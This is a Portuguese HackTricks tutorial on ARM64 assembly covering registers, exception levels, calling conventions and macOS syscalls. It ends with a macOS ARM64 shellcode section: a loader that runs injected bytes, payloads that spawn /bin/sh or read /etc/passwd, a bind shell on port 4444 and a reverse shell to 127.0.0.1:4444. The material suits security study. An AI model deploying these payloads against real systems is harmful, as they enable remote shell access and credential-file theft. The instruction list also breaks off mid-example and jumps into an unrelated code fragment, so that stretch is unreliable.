hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md

32 KiB

Introdução ao ARM64v8

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Níveis de Exceção - EL (ARM64v8)

Na arquitetura ARMv8, os níveis de execução, conhecidos como Níveis de Exceção (ELs), definem o nível de privilégio e as capacidades do ambiente de execução. Existem quatro níveis de exceção, variando de EL0 a EL3, cada um servindo a um propósito diferente:

  1. EL0 - Modo de Usuário:
    • Este é o nível com menos privilégios e é usado para executar código de aplicativos regulares.
    • Aplicativos em execução em EL0 são isolados uns dos outros e do software do sistema, aumentando a segurança e estabilidade.
  2. EL1 - Modo Kernel do Sistema Operacional:
    • A maioria dos kernels de sistemas operacionais é executada neste nível.
    • EL1 tem mais privilégios que EL0 e pode acessar recursos do sistema, mas com algumas restrições para garantir a integridade do sistema.
  3. EL2 - Modo Hypervisor:
    • Este nível é usado para virtualização. Um hipervisor em execução em EL2 pode gerenciar vários sistemas operacionais (cada um em seu próprio EL1) em um mesmo hardware físico.
    • EL2 fornece recursos para isolamento e controle dos ambientes virtualizados.
  4. EL3 - Modo Monitor Seguro:
    • Este é o nível mais privilegiado e é frequentemente usado para inicialização segura e ambientes de execução confiáveis.
    • EL3 pode gerenciar e controlar acessos entre estados seguros e não seguros (como inicialização segura, SO confiável, etc.).

O uso desses níveis permite gerenciar de forma estruturada e segura diferentes aspectos do sistema, desde aplicativos de usuário até o software do sistema mais privilegiado. A abordagem da ARMv8 aos níveis de privilégio ajuda a isolar efetivamente diferentes componentes do sistema, aumentando assim a segurança e robustez do sistema.

Registradores (ARM64v8)

ARM64 possui 31 registradores de propósito geral, rotulados de x0 a x30. Cada um pode armazenar um valor de 64 bits (8 bytes). Para operações que requerem apenas valores de 32 bits, os mesmos registradores podem ser acessados em um modo de 32 bits usando os nomes w0 a w30.

  1. x0 a x7 - Geralmente são usados como registradores temporários e para passar parâmetros para sub-rotinas.
    • x0 também carrega os dados de retorno de uma função.
  2. x8 - No kernel Linux, x8 é usado como o número de chamada do sistema para a instrução svc. No macOS, o x16 é o utilizado!
  3. x9 a x15 - Mais registradores temporários, frequentemente usados para variáveis locais.
  4. x16 e x17 - Registradores de Chamada Intra-procedural. Registradores temporários para valores imediatos. Também são usados para chamadas de função indiretas e stubs PLT (Procedure Linkage Table).
    • x16 é usado como o número de chamada do sistema para a instrução svc no macOS.
  5. x18 - Registrador de Plataforma. Pode ser usado como um registrador de propósito geral, mas em algumas plataformas, este registrador é reservado para usos específicos da plataforma: Ponteiro para bloco de ambiente de thread atual no Windows, ou para apontar para a estrutura de tarefa atualmente em execução no kernel Linux.
  6. x19 a x28 - Estes são registradores salvos pelo chamador. Uma função deve preservar os valores desses registradores para seu chamador, então eles são armazenados na pilha e recuperados antes de retornar ao chamador.
  7. x29 - Ponteiro de Frame para acompanhar o frame da pilha. Quando um novo frame de pilha é criado porque uma função é chamada, o registro x29 é armazenado na pilha e o endereço do novo ponteiro de frame (endereço sp) é armazenado neste registro.
    • Este registro também pode ser usado como um registro de propósito geral, embora geralmente seja usado como referência para variáveis locais.
  8. x30 ou lr - Registrador de Link. Mantém o endereço de retorno quando uma instrução BL (Branch with Link) ou BLR (Branch with Link to Register) é executada, armazenando o valor de pc neste registro.
    • Também pode ser usado como qualquer outro registro.
  9. sp - Ponteiro de Pilha, usado para acompanhar o topo da pilha.
    • o valor de sp deve sempre ser mantido pelo menos em um alinhamento de quadword ou uma exceção de alinhamento pode ocorrer.
  10. pc - Contador de Programa, que aponta para a próxima instrução. Este registro só pode ser atualizado por meio de gerações de exceção, retornos de exceção e branches. As únicas instruções comuns que podem ler este registro são instruções de branch com link (BL, BLR) para armazenar o endereço de pc no lr (Registrador de Link).
  11. xzr - Registrador Zero. Também chamado de wzr em sua forma de registro de 32 bits. Pode ser usado para obter facilmente o valor zero (operação comum) ou para realizar comparações usando subs como subs XZR, Xn, #10 armazenando os dados resultantes em nenhum lugar (em xzr).

Os registradores Wn são a versão de 32 bits dos registradores Xn.

Registradores SIMD e de Ponto Flutuante

Além disso, existem outros 32 registradores de comprimento de 128 bits que podem ser usados em operações otimizadas de dados múltiplos de instrução única (SIMD) e para realizar aritmética de ponto flutuante. Eles são chamados de registradores Vn, embora também possam operar em 64 bits, 32 bits, 16 bits e 8 bits e, nesse caso, são chamados de Qn, Dn, Sn, Hn e Bn.

Registradores do Sistema

Existem centenas de registradores do sistema, também chamados de registradores de propósito especial (SPRs), que são usados para monitorar e controlar o comportamento dos processadores.
Eles só podem ser lidos ou definidos usando as instruções especiais dedicadas mrs e msr.

Os registradores especiais TPIDR_EL0 e TPIDDR_EL0 são comumente encontrados durante engenharia reversa. O sufixo EL0 indica a exceção mínima da qual o registro pode ser acessado (neste caso, EL0 é a exceção regular (privilégio) nível em que programas regulares são executados).
Eles são frequentemente usados para armazenar o endereço base da região de armazenamento local de thread na memória. Geralmente, o primeiro é legível e gravável para programas em execução em EL0, mas o segundo pode ser lido em EL0 e gravado em EL1 (como kernel).

  • mrs x0, TPIDR_EL0 ; Ler TPIDR_EL0 em x0
  • msr TPIDR_EL0, X0 ; Escrever x0 em TPIDR_EL0

PSTATE

PSTATE contém vários componentes de processo serializados no registrador especial visível pelo sistema operacional SPSR_ELx, sendo X o nível de permissão da exceção acionada (isso permite recuperar o estado do processo quando a exceção termina).
Esses são os campos acessíveis:

  • As bandeiras de condição N, Z, C e V:
    • N significa que a operação resultou em um número negativo
    • Z significa que a operação resultou em zero
    • C significa que a operação foi realizada
    • V significa que a operação resultou em um estouro assinado:
      • A soma de dois números positivos resulta em um número negativo.
      • A soma de dois números negativos resulta em um número positivo.
      • Na subtração, quando um número negativo grande é subtraído de um número positivo menor (ou vice-versa), e o resultado não pode ser representado dentro da faixa do tamanho de bit fornecido.

{% hint style="warning" %} Nem todas as instruções atualizam essas bandeiras. Algumas como CMP ou TST o fazem, e outras que têm um sufixo s como ADDS também o fazem. {% endhint %}

  • A bandeira de largura de registro atual (nRW): Se a bandeira mantiver o valor 0, o programa será executado no estado de execução AArch64 quando retomado.
  • O Nível de Exceção Atual (EL): Um programa regular em execução em EL0 terá o valor 0
  • A bandeira de passo único (SS): Usada por depuradores para passo único, definindo a bandeira SS como 1 dentro de SPSR_ELx por meio de uma exceção. O programa executará um passo e emitirá uma exceção de passo único.
  • A bandeira de estado de exceção ilegal (IL): É usada para marcar quando um software privilegiado executa uma transferência de nível de exceção inválida, essa bandeira é definida como 1 e o processador aciona uma exceção de estado ilegal.
  • As bandeiras DAIF: Essas bandeiras permitem que um programa privilegiado mascare seletivamente certas exceções externas.
    • Se A for 1, significa que abortos assíncronos serão acionados. O I configura para responder a Solicitações de Interrupção de Hardware Externas (IRQs). e o F está relacionado a Solicitações de Interrupção Rápida (FIRs).
  • As bandeiras de seleção de ponteiro de pilha (SPS): Programas privilegiados em execução em EL1 e acima podem alternar entre usar seu próprio registrador de ponteiro de pilha e o do modelo de usuário (por exemplo, entre SP_EL1 e EL0). Essa troca é feita escrevendo no registrador especial SPSel. Isso não pode ser feito a partir de EL0.

Convenção de Chamada (ARM64v8)

A convenção de chamada ARM64 especifica que os primeiros oito parâmetros de uma função são passados nos registradores x0 a x7. Parâmetros adicionais são passados na pilha. O valor de retorno é passado de volta no registrador x0, ou também em x1 se for de 128 bits. Os registradores x19 a x30 e sp devem ser preservados em chamadas de função.

Ao ler uma função em assembly, procure o prólogo e epílogo da função. O prólogo geralmente envolve salvar o ponteiro de frame (x29), configurar um novo ponteiro de frame e alocar espaço na pilha. O epílogo geralmente envolve restaurar o ponteiro de frame salvo e retornar da função.

Convenção de Chamada em Swift

Swift tem sua própria convenção de chamada que pode ser encontrada em https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64

Instruções Comuns (ARM64v8)

As instruções ARM64 geralmente têm o formato opcode dst, src1, src2, onde opcode é a operação a ser realizada (como add, sub, mov, etc.), dst é o registrador de destino onde o resultado será armazenado, e src1 e src2 são os registradores de origem. Valores imediatos também podem ser usados no lugar dos registradores de origem.

  • mov: Mover um valor de um registrador para outro.
    • Exemplo: mov x0, x1 — Isso move o valor de x1 para x0.
  • ldr: Carregar um valor da memória para um registrador.
    • Exemplo: ldr x0, [x1] — Isso carrega um valor da localização de memória apontada por x1 para x0.
  • str: Armazenar um valor de um registrador na memória.
    • Exemplo: str x0, [x1] — Isso armazena o valor em x0 na localização de memória apontada por x1.
  • ldp: Carregar Par de Registradores. Esta instrução carrega dois registradores de locais de memória consecutivos. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
    • Exemplo: ldp x0, x1, [x2] — Isso carrega x0 e x1 das localizações de memória em x2 e x2 + 8, respectivamente.
  • stp: Armazenar Par de Registradores. Esta instrução armazena dois registradores em locais de memória consecutivos. O endereço de memória é tipicamente formado adicionando um deslocamento ao valor em outro registrador.
    • Exemplo: stp x0, x1, [x2] — Isso armazena x0 e x1 nas localizações de memória em x2 e x2 + 8, respectivamente.
  • add: Adicionar os valores de dois registradores e armazenar o resultado em um registrador.
    • Sintaxe: add(s) Xn1, Xn2, Xn3 | #imm, [shift #N | RRX]
    • Xn1 -> Destino
    • Xn2 -> Operando 1
    • Xn3 | #imm -> Operando 2 (registrador ou imediato)
    • [shift #N | RRX] -> Realiza deslocamento ou chama RRX
    • Exemplo: `add x0,
ldp x29, x30, [sp], #16  ; load pair x29 and x30 from the stack and increment the stack pointer

{% endcode %}

  1. Retorno: ret (retorna o controle para o chamador usando o endereço no registrador de link)

Estado de Execução AARCH32

O Armv8-A suporta a execução de programas de 32 bits. AArch32 pode ser executado em um dos dois conjuntos de instruções: A32 e T32 e pode alternar entre eles via interworking.
Programas privilegiados de 64 bits podem agendar a execução de programas de 32 bits executando uma transferência de nível de exceção para o 32 bits de menor privilégio.
Observe que a transição de 64 bits para 32 bits ocorre com uma redução do nível de exceção (por exemplo, um programa de 64 bits em EL1 acionando um programa em EL0). Isso é feito configurando o bit 4 do registro especial SPSR_ELx para 1 quando o thread do processo AArch32 está pronto para ser executado e o restante de SPSR_ELx armazena os programas AArch32 CPSR. Em seguida, o processo privilegiado chama a instrução ERET para que o processador faça a transição para AArch32 entrando em A32 ou T32 dependendo do CPSR**.**

O interworking ocorre usando os bits J e T do CPSR. J=0 e T=0 significa A32 e J=0 e T=1 significa T32. Isso basicamente se traduz em definir o bit mais baixo como 1 para indicar que o conjunto de instruções é T32.
Isso é configurado durante as instruções de ramificação de interworking, mas também pode ser configurado diretamente com outras instruções quando o PC é definido como o registro de destino. Exemplo:

Outro exemplo:

_start:
.code 32                ; Begin using A32
add r4, pc, #1      ; Here PC is already pointing to "mov r0, #0"
bx r4               ; Swap to T32 mode: Jump to "mov r0, #0" + 1 (so T32)

.code 16:
mov r0, #0
mov r0, #8

Registros

Existem 16 registros de 32 bits (r0-r15). De r0 a r14 podem ser usados para qualquer operação, no entanto, alguns deles são geralmente reservados:

  • r15: Contador de programa (sempre). Contém o endereço da próxima instrução. No A32, atual + 8, no T32, atual + 4.
  • r11: Ponteiro de quadro
  • r12: Registro de chamada intra-procedural
  • r13: Ponteiro de pilha
  • r14: Registro de link

Além disso, os registros são copiados em registros bancários. Que são locais que armazenam os valores dos registros permitindo realizar trocas de contexto rápidas no tratamento de exceções e operações privilegiadas para evitar a necessidade de salvar e restaurar manualmente os registros toda vez. Isso é feito salvando o estado do processador do CPSR para o SPSR do modo do processador para o qual a exceção é tomada. No retorno da exceção, o CPSR é restaurado do SPSR.

CPSR - Registro de Status do Programa Atual

No AArch32, o CPSR funciona de forma semelhante ao PSTATE no AArch64 e também é armazenado em SPSR_ELx quando uma exceção é tomada para restaurar posteriormente a execução:

Os campos são divididos em alguns grupos:

  • Registro de Status do Programa de Aplicação (APSR): Flags aritméticas e acessíveis a partir do EL0
  • Registros de Estado de Execução: Comportamento do processo (gerenciado pelo SO).

Registro de Status do Programa de Aplicação (APSR)

  • As flags N, Z, C, V (assim como no AArch64)
  • A flag Q: É definida como 1 sempre que ocorre saturação de inteiro durante a execução de uma instrução aritmética de saturação especializada. Uma vez definida como 1, ela manterá o valor até ser manualmente definida como 0. Além disso, não há nenhuma instrução que verifique seu valor implicitamente, deve ser feito lendo-o manualmente.
  • Flags GE (Maior ou igual): É usada em operações SIMD (Instrução Única, Dados Múltiplos), como "adição paralela" e "subtração paralela". Essas operações permitem processar vários pontos de dados em uma única instrução.

Por exemplo, a instrução UADD8 adiciona quatro pares de bytes (de dois operandos de 32 bits) em paralelo e armazena os resultados em um registro de 32 bits. Em seguida, define as flags GE no APSR com base nesses resultados. Cada flag GE corresponde a uma das adições de byte, indicando se a adição para esse par de bytes transbordou.

A instrução SEL usa essas flags GE para realizar ações condicionais.

Registros de Estado de Execução

  • Os bits J e T: J deve ser 0 e se T for 0, o conjunto de instruções A32 é usado e, se for 1, o T32 é usado.
  • Registro de Estado de Bloco IT (ITSTATE): São os bits de 10 a 15 e 25 a 26. Eles armazenam condições para instruções dentro de um grupo prefixado por IT.
  • Bit E: Indica a ordem dos bytes.
  • Bits de Modo e Máscara de Exceção (0-4): Determinam o estado de execução atual. O quinto indica se o programa é executado como 32 bits (1) ou 64 bits (0). Os outros 4 representam o modo de exceção atualmente em uso (quando ocorre uma exceção e está sendo tratada). O número definido indica a prioridade atual no caso de outra exceção ser acionada enquanto esta está sendo tratada.
  • AIF: Certas exceções podem ser desativadas usando os bits A, I, F. Se A for 1, significa que abortos assíncronos serão acionados. O I configura para responder a Solicitações de Interrupção de Hardware externas (IRQs). e o F está relacionado a Solicitações de Interrupção Rápida (FIRs).

macOS

Chamadas de Sistema BSD

Confira syscalls.master. As chamadas de sistema BSD terão x16 > 0.

Armadilhas Mach

Confira syscall_sw.c. As armadilhas Mach terão x16 < 0, então você precisa chamar os números da lista anterior com um sinal de menos: _kernelrpc_mach_vm_allocate_trap é -10.

Você também pode verificar libsystem_kernel.dylib em um desmontador para descobrir como chamar essas chamadas de sistema (e BSD):

# macOS
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# iOS
dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64

{% hint style="success" %} Às vezes é mais fácil verificar o código descompilado de libsystem_kernel.dylib do que verificar o código-fonte porque o código de várias chamadas de sistema (BSD e Mach) é gerado por meio de scripts (verifique os comentários no código-fonte), enquanto na dylib você pode encontrar o que está sendo chamado. {% endhint %}

Shellcodes

Para compilar:

as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Para extrair os bytes:

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Código C para testar o shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Retirado de [**aqui**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) e explicado.

{% tabs %}
{% tab title="com adr" %}
```armasm
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
adr  x0, sh_path  ; This is the address of "/bin/sh".
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.
mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

sh_path: .asciz "/bin/sh"

{% endtab %}

{% tab title="com pilha" %}

.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main         ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2              ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).

_main:
; We are going to build the string "/bin/sh" and place it on the stack.

mov  x1, #0x622F  ; Move the lower half of "/bi" into x1. 0x62 = 'b', 0x2F = '/'.
movk x1, #0x6E69, lsl #16 ; Move the next half of "/bin" into x1, shifted left by 16. 0x6E = 'n', 0x69 = 'i'.
movk x1, #0x732F, lsl #32 ; Move the first half of "/sh" into x1, shifted left by 32. 0x73 = 's', 0x2F = '/'.
movk x1, #0x68, lsl #48   ; Move the last part of "/sh" into x1, shifted left by 48. 0x68 = 'h'.

str  x1, [sp, #-8] ; Store the value of x1 (the "/bin/sh" string) at the location `sp - 8`.

; Prepare arguments for the execve syscall.

mov  x1, #8       ; Set x1 to 8.
sub  x0, sp, x1   ; Subtract x1 (8) from the stack pointer (sp) and store the result in x0. This is the address of "/bin/sh" string on the stack.
mov  x1, xzr      ; Clear x1, because we need to pass NULL as the second argument to execve.
mov  x2, xzr      ; Clear x2, because we need to pass NULL as the third argument to execve.

; Make the syscall.

mov  x16, #59     ; Move the execve syscall number (59) into x16.
svc  #0x1337      ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.

Ler com cat

O objetivo é executar execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), então o segundo argumento (x1) é um array de parâmetros (o que na memória significa uma pilha de endereços).

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1]           ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path    ; Get the address of "/etc/passwd"
str x0, [x1, #8]       ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16]     ; Store NULL as the third argument (end of arguments)

adr x0, cat_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"

Invocar comando com sh a partir de um fork para que o processo principal não seja encerrado

.section __TEXT,__text     ; Begin a new section of type __TEXT and name __text
.global _main              ; Declare a global symbol _main
.align 2                   ; Align the beginning of the following code to a 4-byte boundary

_main:
; Prepare the arguments for the fork syscall
mov x16, #2            ; Load the syscall number for fork (2) into x8
svc 0                  ; Make the syscall
cmp x1, #0             ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop              ; If not child process, loop

; Prepare the arguments for the execve syscall

sub sp, sp, #64        ; Allocate space on the stack
mov x1, sp             ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1]           ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option    ; Get the address of "-c"
str x0, [x1, #8]       ; Store the address of "-c" as the second argument
adr x0, touch_command  ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16]      ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24]     ; Store NULL as the fourth argument (end of arguments)

adr x0, sh_path
mov x2, xzr            ; Clear x2 to hold NULL (no environment variables)
mov x16, #59           ; Load the syscall number for execve (59) into x8
svc 0                  ; Make the syscall


_exit:
mov x16, #1            ; Load the syscall number for exit (1) into x8
mov x0, #0             ; Set exit status code to 0
svc 0                  ; Make the syscall

_loop: b _loop

sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"

Shell de ligação

Shell de ligação em https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s na porta 4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 0.0.0.0 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #104
svc  #0x1337

call_listen:
// listen(s, 2)
mvn  x0, x3
lsr  x1, x2, #3
mov  x16, #106
svc  #0x1337

call_accept:
// c = accept(s, 0, 0)
mvn  x0, x3
mov  x1, xzr
mov  x2, xzr
mov  x16, #30
svc  #0x1337

mvn  x3, x0
lsr  x2, x16, #4
lsl  x2, x2, #2

call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337

Shell reverso

De https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell para 127.0.0.1:4444

.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov  x16, #97
lsr  x1, x16, #6
lsl  x0, x1, #1
mov  x2, xzr
svc  #0x1337

// save s
mvn  x3, x0

call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
*     __uint8_t       sin_len;     // sizeof(struct sockaddr_in) = 0x10
*     sa_family_t     sin_family;  // AF_INET = 2
*     in_port_t       sin_port;    // 4444 = 0x115C
*     struct  in_addr sin_addr;    // 127.0.0.1 (4 bytes)
*     char            sin_zero[8]; // Don't care
* };
*/
mov  x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str  x1, [sp, #-8]
mov  x2, #8
sub  x1, sp, x2
mov  x2, #16
mov  x16, #98
svc  #0x1337

lsr  x2, x2, #2

call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn  x0, x3
lsr  x2, x2, #1
mov  x1, x2
mov  x16, #90
svc  #0x1337
mov  x10, xzr
cmp  x10, x2
bne  call_dup

call_execve:
// execve("/bin/sh", 0, 0)
mov  x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str  x1, [sp, #-8]
mov	 x1, #8
sub  x0, sp, x1
mov  x1, xzr
mov  x2, xzr
mov  x16, #59
svc  #0x1337
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: